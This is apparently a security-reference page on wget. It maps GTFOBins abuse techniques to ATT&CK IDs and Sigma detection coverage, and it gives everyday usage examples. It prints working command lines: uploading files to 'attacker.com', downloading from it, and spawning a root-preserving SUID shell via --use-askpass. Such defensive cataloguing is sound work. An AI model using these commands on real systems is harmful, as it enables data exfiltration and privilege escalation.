Identifier / Programs / Linux and Unix
wget
Download files from the Web. Supports HTTP, HTTPS, and FTP. tldr-pages
GTFOBins download, file-read, file-write, shell, upload 9 Sigma rules name it 3 ATT&CK techniques 6 documented commands
How wget is abused
download T1105 Ingress Tool Transfer
-Ofile-read
-ifile-write
-i-oshell T1059.004 Command and Scripting Interpreter: Unix Shell
--use-askpassupload
--post-fileupload
--post-dataEach abuse is GTFOBins's category and the options and words it uses; the full write-up is on GTFOBins's page for wget.
6 documented commands
download unprivileged, with sudo, as SUID
wget http://attacker.com/path/to/input-file -O /path/to/output-filefile-read unprivileged, with sudo, as SUID
The file to be read is treated as a list of URLs, one per line, which are actually fetched by wget. The content appears, somewhat modified, as error messages.
wget -i /path/to/input-filefile-write unprivileged, with sudo, as SUID
The file to be read is treated as a list of URLs, one per line, which are actually fetched by wget. The content appears, somewhat modified, as error messages.
wget -i /path/to/input-file -o /path/to/output-fileshell unprivileged, with sudo, as SUID
echo -e '#!/bin/sh\n/bin/sh 1>&0' >/path/to/temp-file
chmod +x /path/to/temp-file
wget --use-askpass=/path/to/temp-file 0As SUID:
echo -e '#!/bin/sh -p\n/bin/sh -p 1>&0' >/path/to/temp-file
chmod +x /path/to/temp-file
wget --use-askpass=/path/to/temp-file 0upload unprivileged, with sudo, as SUID
wget --post-file=/path/to/input-file http://attacker.comupload unprivileged, with sudo, as SUID
wget --post-data=DATA http://attacker.comNone of the 6 commands the identifier reads trips a Sigma process-creation rule. These commands are, with GTFOBins’ notes, from GTFOBins, at commit acd524623f9c of 2026-05-27, under the GPL-3.0, with no warranty. Changed: Markdown is shown formatted. The source is in lolbas-gtfobins-commands.json.gz, and the full entry is on GTFOBins’s page for wget. The identifier reads the line of each that runs wget.
What detects it
Everyday use
Download the contents of a URL to a file (named "foo" in this case)
wget https://example.com/fooIdentifyDownload the contents of a URL to a specific file
wget --output-document path/to/file https://example.com/fooIdentifyDownload a single web page and all its resources with 3-second intervals between requests (scripts, stylesheets, images, etc.)
wget [-pkw|--page-requisites --convert-links --wait] 3 https://example.com/some_page.htmlIdentifyNone of the 3 examples the identifier reads matches GTFOBins abuse or trips a Sigma process-creation rule.